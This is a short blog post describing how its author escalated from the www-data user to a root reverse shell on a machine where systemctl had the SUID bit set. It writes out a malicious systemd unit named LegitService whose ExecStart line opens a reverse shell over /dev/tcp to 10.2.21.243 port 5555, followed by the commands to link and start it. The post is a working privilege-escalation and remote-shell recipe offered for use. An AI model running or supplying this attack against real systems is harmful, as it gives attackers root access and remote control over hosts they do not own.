Today I came across a box that had the SUID set for systemctl
connected as the apache user www-data I was able to get a root reverse shell.
This is to document how to use this for privilege escalation.
I used a bit from this blog
and a bit from here too
Step1.
Create a fake service I named my LegitService.service
I placed it in the /tmp directory on the server.
[Unit]
UNIT=LegitService
Description=Black magic happening, avert your eyes
[Service]
RemainAfterExit=yes
Type=simple
ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done"
[Install]
WantedBy=default.target
Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders
systemctl link /tmp/LegitService.service
Then I just needed to start the service using systemctl
systemctl start LegitService.service
Then I got my shell back
Comments
Post a Comment